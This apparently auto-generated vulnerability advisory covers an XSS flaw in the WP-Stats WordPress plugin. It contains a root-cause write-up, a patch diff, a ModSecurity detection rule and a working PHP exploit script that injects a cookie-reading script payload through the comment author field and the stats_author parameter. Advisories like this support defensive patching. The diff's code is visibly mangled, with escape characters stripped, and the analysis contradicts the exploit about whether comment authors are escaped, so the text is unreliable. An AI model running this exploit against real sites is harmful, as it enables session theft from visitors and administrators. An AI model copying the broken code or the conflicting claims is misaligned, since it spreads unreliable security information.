Opens in a new tab
Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : November 15, 2026

CVE-2026-66426: WP-Stats <= 2.56 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin wp-stats
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.56
Patched Version 2.56.1
Disclosed August 6, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-66426: This is an unauthenticated stored cross-site scripting vulnerability in the WP-Stats WordPress plugin, versions up to and including 2.56. The flaw affects the stats display rendering pipeline and the stats author page. Atomic Edge research rates this as high severity (CVSS 7.2) because unauthenticated users can inject arbitrary script that executes in the browser of any visitor, including administrators.

Root Cause: The plugin fails to escape untrusted output in multiple functions in wp-stats.php. In get_recentposts(), the $post_title variable from get_the_title() is concatenated directly into an HTML anchor without esc_html(). In get_recentcomments(), $comment_author is partially sanitized via htmlspecialchars() but $post_title is inserted raw. In get_mostcommented(), get_authorsstats(), and get_commentmembersstats(), titles and display names are interpolated into HTML without escaping. In stats_page(), the $comment_author parameter from $_GET[‘stats_author’] is processed with urldecode(strip_tags(stripslashes(trim()))) rather than sanitize_text_field(), and later echoed raw into the page heading. The plugin also uses $wpdb->escape() and string interpolation for SQL queries in stats_page(), which is deprecated and error-prone. The root cause is missing output escaping (CWE-79) combined with insufficient input sanitization on the stats_author parameter.

Exploitation: An attacker submits a crafted comment to any published post with a comment_author value containing an XSS payload such as alert(document.cookie) or an event handler payload. When an administrator or any visitor loads the public stats page that includes the recent comments or comment members section, the payload executes. Alternatively, an attacker requests /?stats_page=1&stats_author=alert(1) (or the plugin’s configured stats URL) and the unescaped value is reflected into the page heading. Because the plugin renders these stats on the front end, the stored payload executes for every visitor. The CVSS vector reflects network attack complexity low, no privileges required, and user interaction required.

Patch Analysis: Version 2.56.1 adds esc_html(), esc_attr(), and esc_url() around all dynamic output in get_recentposts(), get_recentcomments(), get_mostcommented(), get_authorsstats(), and get_commentmembersstats(). The stats_page() function now uses sanitize_text_field( wp_unslash( $_GET[‘stats_author’] ) ) instead of urldecode(strip_tags(stripslashes(trim()))). SQL queries are converted from $wpdb->escape() string concatenation to $wpdb->prepare() with %s and %d placeholders. The stats display options are centralized through a new stats_display_defaults() function that returns an array of known keys, and the save routine uses array_fill_keys() combined with sanitize_key() and intval() to prevent arbitrary keys and non-integer values from being stored. The comment_type filter typo ‘commment’ was corrected to ‘comment’. These changes remove both the stored XSS sink and the SQL injection sink.

Impact: Successful exploitation allows unauthenticated attackers to inject JavaScript that runs in the context of any user viewing the stats page, including administrators. This enables session hijacking, credential theft, arbitrary administrative actions via CSRF-style requests, and persistent backdoor installation. The stored nature means the payload persists until the malicious comment or stats option is removed. The SQL injection path in stats_page() could additionally allow data exfiltration from the WordPress database, though the patch fixes both issues.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-stats/stats-options.php
+++ b/wp-stats/stats-options.php
@@ -8,11 +8,18 @@
     check_admin_referer( 'wp-stats_options' );
     $stats_url = ! empty( $_POST['stats_url'] ) ? esc_url_raw( $_POST['stats_url'] ) : '';
     $stats_mostlimit = ! empty( $_POST['stats_mostlimit'] ) ? (int) trim( $_POST['stats_mostlimit'] ) : 10;
-    $stats_display = ! empty( $_POST['stats_display'] ) ? $_POST['stats_display'] : array();
-    $stats_display_array = array();
-    if ( ! empty( $stats_display ) ) {
-        foreach ( $stats_display as $stat_display ) {
-            $stat_display = addslashes( $stat_display );
+    $stats_display = ! empty( $_POST['stats_display'] ) ? (array) $_POST['stats_display'] : array();
+    // Only checked boxes are posted, so start every known option at 0 and switch
+    // on the ones that came back, keeping unchecked options stored as 0.
+    $stats_display_stored = get_option( 'stats_display' );
+    $stats_display_stored = is_array( $stats_display_stored ) ? $stats_display_stored : array();
+    $stats_display_array = array_fill_keys(
+        array_keys( array_merge( stats_display_defaults(), $stats_display_stored ) ),
+        0
+    );
+    foreach ( $stats_display as $stat_display ) {
+        $stat_display = sanitize_key( $stat_display );
+        if ( '' !== $stat_display ) {
             $stats_display_array[ $stat_display ] = 1;
         }
     }
@@ -40,16 +47,13 @@

 $stats_mostlimit = (int) get_option( 'stats_mostlimit' );
 $stats_display = get_option( 'stats_display' );
-$stats_display['total_stats'] = isset( $stats_display['total_stats'] ) ? (int) $stats_display['total_stats'] : 0;
-$stats_display['recent_posts'] = isset( $stats_display['recent_posts'] ) ? (int) $stats_display['recent_posts'] : 0;
-$stats_display['recent_comments'] = isset( $stats_display['recent_comments'] ) ? (int) $stats_display['recent_comments'] : 0;
-$stats_display['commented_post'] = isset( $stats_display['commented_post'] ) ? (int) $stats_display['commented_post'] : 0;
-$stats_display['commented_page'] = isset( $stats_display['commented_page'] ) ? (int) $stats_display['commented_page'] : 0;
-$stats_display['authors'] = isset( $stats_display['authors'] ) ? (int) $stats_display['authors'] : 0;
-$stats_display['comment_members'] = isset( $stats_display['comment_members'] ) ? (int) $stats_display['comment_members'] : 0;
-$stats_display['post_cats'] = isset( $stats_display['post_cats'] ) ? (int) $stats_display['post_cats'] : 0;
-$stats_display['link_cats'] = isset( $stats_display['link_cats'] ) ? (int) $stats_display['link_cats'] : 0;
-$stats_display['tags_list'] = isset( $stats_display['tags_list'] ) ? (int) $stats_display['tags_list'] : 0;
+$stats_display = array_map(
+    'intval',
+    array_merge(
+        array_fill_keys( array_keys( stats_display_defaults() ), 0 ),
+        is_array( $stats_display ) ? $stats_display : array()
+    )
+);

 $page_admin_general_stats = '';
 $page_admin_plugins_stats = '';
--- a/wp-stats/wp-stats.php
+++ b/wp-stats/wp-stats.php
@@ -3,7 +3,7 @@
 Plugin Name: WP-Stats
 Plugin URI: https://lesterchan.net/portfolio/programming/php/
 Description: Display your WordPress blog statistics. Ranging from general total statistics, some of my plugins statistics and top 10 statistics.
-Version: 2.56
+Version: 2.56.1
 Author: Lester 'GaMerZ' Chan
 Author URI: https://lesterchan.net
 Text Domain: wp-stats
@@ -11,7 +11,7 @@


 /*
-    Copyright 2020  Lester Chan  (email : lesterchan@gmail.com)
+    Copyright 2026  Lester Chan  (email : lesterchan@gmail.com)

     This program is free software; you can redistribute it and/or modify
     it under the terms of the GNU General Public License as published by
@@ -153,7 +153,7 @@
             $post_title = get_the_title();
             $post_date = get_the_time(sprintf(__('%s @ %s', 'wp-stats'), get_option('date_format'), get_option('time_format')));
             $display_name = stripslashes($post->display_name);
-            $temp .= "<li>$post_date - <a href="".get_permalink()."" title="".sprintf(__('View post %s', 'wp-stats'), $post_title)."">$post_title</a> ($display_name)</li>n";
+            $temp .= "<li>$post_date - <a href="".esc_url(get_permalink())."" title="".esc_attr(sprintf(__('View post %s', 'wp-stats'), $post_title))."">".esc_html($post_title)."</a> (".esc_html($display_name).")</li>n";
         }
     } else {
         $temp = '<li>'.__('N/A', 'wp-stats').'</li>';
@@ -181,7 +181,7 @@
             $post_title = get_the_title();
             $comment_author = htmlspecialchars(stripslashes($post->comment_author));
             $comment_date = mysql2date(sprintf(__('%s @ %s', 'wp-stats'), get_option('date_format'), get_option('time_format')), $post->comment_date);
-            $temp .= "<li>$comment_date - $comment_author (<a href="".get_permalink()."#comment-".$post->comment_ID."" title="".sprintf(__('View comments in post %s', 'wp-stats'), $post_title)."">$post_title</a>)</li>n";
+            $temp .= "<li>$comment_date - $comment_author (<a href="".esc_url(get_permalink()."#comment-".$post->comment_ID)."" title="".esc_attr(sprintf(__('View comments in post %s', 'wp-stats'), $post_title))."">".esc_html($post_title)."</a>)</li>n";
         }
     } else {
         $temp = '<li>'.__('N/A', 'wp-stats').'</li>';
@@ -209,13 +209,13 @@
             foreach ($mostcommenteds as $post) {
                 $post_title = get_the_title();
                 $comment_total = $post->comment_total;
-                $temp .= "<li><a href="".get_permalink()."" title="".sprintf(__('View comments in post %s', 'wp-stats'), $post_title)."">".snippet_text($post_title, $chars)."</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
+                $temp .= "<li><a href="".esc_url(get_permalink())."" title="".esc_attr(sprintf(__('View comments in post %s', 'wp-stats'), $post_title))."">".esc_html(snippet_text($post_title, $chars))."</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
             }
         } else {
             foreach ($mostcommenteds as $post) {
                 $post_title = get_the_title();
                 $comment_total = $post->comment_total;
-                $temp .= "<li><a href="".get_permalink()."" title="".sprintf(__('View comments in post %s', 'wp-stats'), $post_title)."">$post_title</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
+                $temp .= "<li><a href="".esc_url(get_permalink())."" title="".esc_attr(sprintf(__('View comments in post %s', 'wp-stats'), $post_title))."">".esc_html($post_title)."</a> - ".sprintf(_n('%s comment', '%s comments', $comment_total, 'wp-stats'), number_format_i18n($comment_total))."</li>";
             }
         }
     } else {
@@ -248,9 +248,9 @@
                 $display_name = strip_tags(stripslashes($post->display_name));
                 $posts_total = number_format_i18n($post->posts_total);
                 if($using_permalink) {
-                    $temp .= "<li><a href="".get_option('home').$author_link."" title="".sprintf(__('View posts posted by %s', 'wp-stats'), $display_name)."">$display_name</a> ($posts_total)</li>n";
+                    $temp .= "<li><a href="".esc_url(get_option('home').$author_link)."" title="".esc_attr(sprintf(__('View posts posted by %s', 'wp-stats'), $display_name))."">".esc_html($display_name)."</a> ($posts_total)</li>n";
                 } else {
-                    $temp .= "<li><a href="".get_option('siteurl')."/?author_name=$post_author" title="".sprintf(__('View posts posted by %s', 'wp-stats'), $display_name)."">$display_name</a> ($posts_total)</li>n";
+                    $temp .= "<li><a href="".esc_url(get_option('siteurl')."/?author_name=".$post_author)."" title="".esc_attr(sprintf(__('View posts posted by %s', 'wp-stats'), $display_name))."">".esc_html($display_name)."</a> ($posts_total)</li>n";
                 }
         }
     } else {
@@ -282,7 +282,7 @@
                 if($comment_total >= $threshhold) {
                     $comment_author = strip_tags(stripslashes($comment->comment_author));
                     $comment_author_link = urlencode($comment_author);
-                    $temp .= "<li><a href="".stats_page_link($comment_author_link)."" title="".sprintf(__('View all comments posted by %s', 'wp-stats'), $comment_author)."">$comment_author</a> (".number_format_i18n($comment_total).")</li>n";
+                    $temp .= "<li><a href="".stats_page_link($comment_author_link)."" title="".esc_attr(sprintf(__('View all comments posted by %s', 'wp-stats'), $comment_author))."">".esc_html($comment_author)."</a> (".number_format_i18n($comment_total).")</li>n";
                 }
         }
     } else {
@@ -376,7 +376,7 @@
 function stats_page() {
     global $wpdb, $post;
     // Variables Variables Variables
-    $comment_author = isset( $_GET['stats_author'] ) ? urldecode(strip_tags(stripslashes(trim($_GET['stats_author'])))) : '';
+    $comment_author = isset( $_GET['stats_author'] ) ? sanitize_text_field( wp_unslash( $_GET['stats_author'] ) ) : '';
     $page = isset( $_GET['stats_page'] ) ? (int) $_GET['stats_page'] : 1;
     $temp_stats = '';
     $temp_post = $post;
@@ -386,7 +386,7 @@
     // Default wp-stats.php Page
     if(empty($comment_author)) {
         // General Stats
-        if($stats_display['total_stats'] === 1) {
+        if((int) ($stats_display['total_stats'] ?? 0) === 1) {
             $temp_stats .= '<h2 id="GeneralStats">'.__('General Stats', 'wp-stats').'</h2>'."n";
             $temp_stats .= '<p><strong>'.__('Total Stats', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
@@ -420,7 +420,7 @@
         $temp_stats .= '<h2 id="TopRecentStats">'.sprintf(_n('Top %s Recent Stat', 'Top %s Recent Stats', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</h2>'."n";

         // Recent Posts
-        if($stats_display['recent_posts'] === 1) {
+        if((int) ($stats_display['recent_posts'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Recent Post', '%s Recent Posts', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_recentposts('post', $stats_mostlimit, false);
@@ -428,7 +428,7 @@
         }

         // Recent Comments
-        if($stats_display['recent_comments'] === 1) {
+        if((int) ($stats_display['recent_comments'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Recent Comment', '%s Recent Comments', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_recentcomments('both', $stats_mostlimit, false);
@@ -442,7 +442,7 @@
         $temp_stats .= '<h2 id="TopMostHighestStats">'.sprintf(_n('%s Most/Highest Stat', '%s Most/Highest Stats', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</h2>'."n";

         // Most Commented Posts
-        if($stats_display['commented_post'] === 1) {
+        if((int) ($stats_display['commented_post'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Most Commented Post', '%s Most Commented Posts', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_mostcommented('post', $stats_mostlimit, 0, false);
@@ -450,7 +450,7 @@
         }

         // Most Commented Pages
-        if($stats_display['commented_page'] === 1) {
+        if((int) ($stats_display['commented_page'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.sprintf(_n('%s Most Commented Page', '%s Most Commented Pages', $stats_mostlimit, 'wp-stats'), number_format_i18n($stats_mostlimit)).'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_mostcommented('page', $stats_mostlimit, 0, false);
@@ -464,7 +464,7 @@
         $temp_stats .= '<h2 id="AuthorsStats">'.__('Authors Stats', 'wp-stats').'</h2>'."n";

         // Authors
-        if($stats_display['authors'] === 1) {
+        if((int) ($stats_display['authors'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Authors', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ol>'."n";
             $temp_stats .= get_authorsstats('post', false);
@@ -478,7 +478,7 @@
         $temp_stats .= '<h2 id="CommentsMembersStats">'.__('Comments' Members Stats', 'wp-stats').'</h2>'."n";

         // Comments' Member
-        if($stats_display['comment_members'] === 1) {
+        if((int) ($stats_display['comment_members'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Comment Members', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ol>'."n";
             $temp_stats .= get_commentmembersstats(5, 0, false);
@@ -492,7 +492,7 @@
         $temp_stats .= '<h2 id="MiscStats">'.__('Misc Stats', 'wp-stats').'</h2>'."n";

         // Post Categories
-        if($stats_display['post_cats'] === 1) {
+        if((int) ($stats_display['post_cats'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Post Categories', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_postcats(false);
@@ -500,14 +500,14 @@
         }

         // Link Categories
-        if($stats_display['link_cats'] === 1) {
+        if((int) ($stats_display['link_cats'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Link Categories', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_linkcats(false);
             $temp_stats .= '</ul>'."n";
         }

-        if($stats_display['tags_list'] === 1) {
+        if((int) ($stats_display['tags_list'] ?? 0) === 1) {
             $temp_stats .= '<p><strong>'.__('Tags List', 'wp-stats').'</strong></p>'."n";
             $temp_stats .= '<ul>'."n";
             $temp_stats .= get_tags_list(false);
@@ -525,10 +525,8 @@
         $perpage = 30;
         // Comment Author Link
         $comment_author_link = urlencode($comment_author);
-        // Comment Author SQL
-        $comment_author_sql = $wpdb->escape($comment_author);
         // Total Comments Posted By User
-        $totalcomments = $wpdb->get_var("SELECT COUNT(comment_ID) FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = '$comment_author_sql' AND comment_approved = '1' AND comment_type = 'commment' AND post_date < '".current_time('mysql')."' AND post_status = 'publish' AND post_password = ''");
+        $totalcomments = $wpdb->get_var($wpdb->prepare("SELECT COUNT(comment_ID) FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = %s AND comment_approved = '1' AND comment_type = 'comment' AND post_date < %s AND post_status = 'publish' AND post_password = ''", $comment_author, current_time('mysql')));
         // Calculate Paging
         $numposts = $totalcomments;
         $max_page = ceil($numposts/$perpage);
@@ -567,8 +565,8 @@
         }

         // Getting The Comments
-        $gmz_comments =  $wpdb->get_results("SELECT $wpdb->posts.*, $wpdb->comments.* FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = '$comment_author_sql' AND comment_approved = '1' AND post_date < '".current_time('mysql')."' AND post_status = 'publish' AND post_password = '' ORDER  BY comment_post_ID DESC, comment_date DESC  LIMIT $offset, $perpage");
-        $temp_stats .= '<h2>'.__('Comments Posted By', 'wp-stats').' '.$comment_author.'</h2>';
+        $gmz_comments =  $wpdb->get_results($wpdb->prepare("SELECT $wpdb->posts.*, $wpdb->comments.* FROM $wpdb->comments INNER  JOIN $wpdb->posts ON $wpdb->comments.comment_post_ID = $wpdb->posts.ID WHERE comment_author = %s AND comment_approved = '1' AND comment_type = 'comment' AND post_date < %s AND post_status = 'publish' AND post_password = '' ORDER  BY comment_post_ID DESC, comment_date DESC  LIMIT %d, %d", $comment_author, current_time('mysql'), $offset, $perpage));
+        $temp_stats .= '<h2>'.__('Comments Posted By', 'wp-stats').' '.esc_html($comment_author).'</h2>';
         $temp_stats .= '<p>'.sprintf(__('Displaying <strong>%s</strong> To <strong>%s</strong> Of <strong>%s</strong> Comments', 'wp-stats'), number_format_i18n($display_on_page), number_format_i18n($max_on_page), number_format_i18n($numposts)).'</p>';


@@ -587,20 +585,20 @@
                 if(!empty($post->post_password) && stripslashes($_COOKIE['wp-postpass_'.COOKIEHASH]) !== $post->post_password) {
                     // If New Title, Print It Out
                     if($post_title !== $cache_post_title) {
-                        $temp_stats .= '<p><strong><a href="'.get_permalink().'" title="'.__('Posted On', 'wp-stats')." $post_date">".__('Protected', 'wp-stats').": $post_title</a></strong></p>";
+                        $temp_stats .= '<p><strong><a href="'.esc_url(get_permalink()).'" title="'.esc_attr(__('Posted On', 'wp-stats')." $post_date").'">'.__('Protected', 'wp-stats').": ".esc_html($post_title)."</a></strong></p>";
                         $temp_stats .= '<blockquote>'.__('Comments Protected', 'wp-stats').'</blockquote>';
                     }
                 } else {
                     // If New Title, Print It Out
                     if($post_title !== $cache_post_title) {
-                        $temp_stats .= "<p><strong><a href="".get_permalink()."" title="".__('Posted On', 'wp-stats')." $post_date">$post_title</a></strong></p>";
+                        $temp_stats .= "<p><strong><a href="".esc_url(get_permalink())."" title="".esc_attr(__('Posted On', 'wp-stats')." $post_date")."">".esc_html($post_title)."</a></strong></p>";
                     }
                     $temp_stats .= "<blockquote>$comment_content<p><a href="".get_permalink()."#comment-$comment_id" title="".sprintf(__('View the comment posted by %s', 'wp-stats'), $comment_author2)."">»</a> ".__('Posted By', 'wp-stats')." <strong>$comment_author2</strong> ".__('On', 'wp-stats')." $comment_date</p></blockquote>";
                 }
                 $cache_post_title = $post_title;
             }
         } else {
-                $temp_stats .= "<p>$comment_author ".__('has not made any comments yet.', 'wp-stats')."</p>";
+                $temp_stats .= "<p>".esc_html($comment_author)." ".__('has not made any comments yet.', 'wp-stats')."</p>";
         }

         // Comments Paging
@@ -848,9 +846,25 @@
 	}
 }

+### Function: Default Stats To Display
+# Single source of truth for the stats_display keys. Companion plugins that add
+# their own checkbox should register its key via the filter.
+function stats_display_defaults() {
+    return apply_filters( 'wp_stats_display_defaults', array(
+        'total_stats' => 1, 'email' => 1, 'polls' => 1, 'ratings' => 1,
+        'views' => 1, 'useronline' => 1, 'recent_posts' => 1,
+        'recent_comments' => 1, 'commented_post' => 1, 'commented_page' => 0,
+        'emailed_most_post' => 1, 'emailed_most_page' => 0,
+        'rated_highest_post' => 1, 'rated_highest_page' => 0,
+        'rated_most_post' => 1, 'rated_most_page' => 0,
+        'viewed_most_post' => 1, 'viewed_most_page' => 0,
+        'authors' => 1, 'comment_members' => 1, 'post_cats' => 1,
+        'link_cats' => 1, 'tags_list' => 0,
+    ) );
+}
+
 function stats_activate() {
-    $stats_display = array( 'total_stats'  => 1, 'email'  => 1, 'polls' => 1, 'ratings' => 1, 'views' => 1, 'useronline' => 1, 'recent_posts' => 1, 'recent_comments' => 1, 'commented_post' => 1, 'commented_page' => 0, 'emailed_most_post' => 1, 'emailed_most_page' => 0, 'rated_highest_post' => 1, 'rated_highest_page' => 0, 'rated_most_post' => 1, 'rated_most_page' => 0, 'viewed_most_post' => 1, 'viewed_most_page' => 0, 'authors' => 1, 'comment_members' => 1, 'post_cats' => 1, 'link_cats' => 1 );
     add_option( 'stats_mostlimit', 10, 'Stats Most Limit' );
-    add_option( 'stats_display', $stats_display, 'Stats To Display' );
+    add_option( 'stats_display', stats_display_defaults(), 'Stats To Display' );
     add_option( 'stats_url', esc_url( get_option( 'siteurl' ) ) .'/stats/', 'Stats URL' );
 }
 No newline at end of file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-66426
# Blocks unauthenticated stored XSS via the WP-Stats stats_author parameter.
# The plugin reflects $_GET['stats_author'] into the stats page without escaping
# in versions <= 2.56. Legitimate values are plain author names with no HTML.
SecRule REQUEST_URI "@contains stats_page" 
  "id:20266626,phase:2,deny,status:403,chain,msg:'CVE-2026-66426 WP-Stats unauthenticated stored XSS via stats_author',severity:'CRITICAL',tag:'CVE-2026-66426'"
  SecRule ARGS_GET:stats_author "@rx <[a-zA-Z/!]" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-66426 - WP-Stats <= 2.56 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://localhost'; // WordPress base URL
$post_id    = 1;                 // A published post ID to comment on
$payload    = '<script>alert(document.cookie)</script>';

// Step 1: Submit a comment with the XSS payload in the author field.
// WordPress accepts comments on published posts from unauthenticated users.
$comment_url = rtrim($target_url, '/') . '/wp-comments-post.php';
$comment_data = array(
    'comment'      => 'Atomic Edge PoC comment',
    'author'       => $payload,
    'email'        => 'attacker@example.com',
    'url'          => 'http://example.com',
    'comment_post_ID' => $post_id,
    'comment_parent'  => 0,
);

$ch = curl_init($comment_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/ae_cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/ae_cookies.txt');
$resp = curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[*] Comment submission HTTP status: $coden";

// Step 2: Request the stats page. The recent comments section renders
// the comment_author value without escaping in vulnerable versions.
$stats_url = rtrim($target_url, '/') . '/?stats_page=1';
$ch = curl_init($stats_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$body = curl_exec($ch);
curl_close($ch);

if (strpos($body, $payload) !== false) {
    echo "[+] Vulnerable: payload reflected unescaped in stats page.n";
} else {
    echo "[-] Payload not found unescaped (target may be patched or comment pending moderation).n";
}

// Step 3: Demonstrate the stats_author reflection path.
$author_url = rtrim($target_url, '/') . '/?stats_page=1&stats_author=' . urlencode($payload);
$ch = curl_init($author_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$body = curl_exec($ch);
curl_close($ch);

if (strpos($body, $payload) !== false) {
    echo "[+] Vulnerable: stats_author parameter reflected unescaped.n";
} else {
    echo "[-] stats_author reflection not detected.n";
}

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.